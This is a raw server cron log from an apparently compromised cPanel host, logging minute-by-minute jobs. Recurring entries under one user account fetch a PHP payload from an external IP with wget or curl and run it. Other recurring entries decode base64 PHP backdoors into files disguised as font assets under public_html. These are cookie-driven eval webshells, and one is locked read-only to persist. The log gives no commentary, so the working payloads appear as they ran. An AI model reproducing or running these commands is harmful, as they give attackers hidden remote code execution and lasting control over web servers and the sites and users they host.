Sep  4 18:52:01 ip-184-168-122-23 CROND[5650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:52:01 ip-184-168-122-23 CROND[5652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:52:01 ip-184-168-122-23 CROND[5653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:52:01 ip-184-168-122-23 CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:52:01 ip-184-168-122-23 CROND[5655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:53:01 ip-184-168-122-23 CROND[5751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:53:01 ip-184-168-122-23 CROND[5750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:53:01 ip-184-168-122-23 CROND[5753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:53:01 ip-184-168-122-23 CROND[5752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:54:02 ip-184-168-122-23 CROND[5852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:54:02 ip-184-168-122-23 CROND[5854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:54:02 ip-184-168-122-23 CROND[5857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:54:02 ip-184-168-122-23 CROND[5855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:54:02 ip-184-168-122-23 CROND[5856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:55:01 ip-184-168-122-23 CROND[6035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:55:01 ip-184-168-122-23 CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:55:01 ip-184-168-122-23 CROND[6038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:55:01 ip-184-168-122-23 CROND[6036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:55:01 ip-184-168-122-23 CROND[6040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:55:01 ip-184-168-122-23 CROND[6037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:56:01 ip-184-168-122-23 CROND[6128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:56:01 ip-184-168-122-23 CROND[6129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:56:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:56:01 ip-184-168-122-23 CROND[6131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:56:01 ip-184-168-122-23 CROND[6130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:57:01 ip-184-168-122-23 CROND[6223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:57:01 ip-184-168-122-23 CROND[6222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:57:01 ip-184-168-122-23 CROND[6224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:57:01 ip-184-168-122-23 CROND[6225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:58:01 ip-184-168-122-23 CROND[6323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:58:01 ip-184-168-122-23 CROND[6324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:58:01 ip-184-168-122-23 CROND[6327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:58:01 ip-184-168-122-23 CROND[6325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:58:01 ip-184-168-122-23 CROND[6326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:59:01 ip-184-168-122-23 CROND[6469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:59:01 ip-184-168-122-23 CROND[6470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:59:01 ip-184-168-122-23 CROND[6474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:59:01 ip-184-168-122-23 CROND[6472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:00:01 ip-184-168-122-23 CROND[6583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:00:01 ip-184-168-122-23 CROND[6590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:00:01 ip-184-168-122-23 CROND[6592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:01:01 ip-184-168-122-23 CROND[6753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:01:01 ip-184-168-122-23 CROND[6752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:01:01 ip-184-168-122-23 CROND[6754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:01:01 ip-184-168-122-23 CROND[6759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:01:02 ip-184-168-122-23 CROND[6757]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 19:01:02 ip-184-168-122-23 CROND[6758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6757]: starting 0anacron
Sep  4 19:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6772]: finished 0anacron
Sep  4 19:02:01 ip-184-168-122-23 CROND[6867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:02:01 ip-184-168-122-23 CROND[6869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:02:01 ip-184-168-122-23 CROND[6870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:02:01 ip-184-168-122-23 CROND[6871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:02:01 ip-184-168-122-23 CROND[6872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:03:01 ip-184-168-122-23 CROND[6952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:03:01 ip-184-168-122-23 CROND[6954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:03:01 ip-184-168-122-23 CROND[6953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:03:01 ip-184-168-122-23 CROND[6955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:04:01 ip-184-168-122-23 CROND[7034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
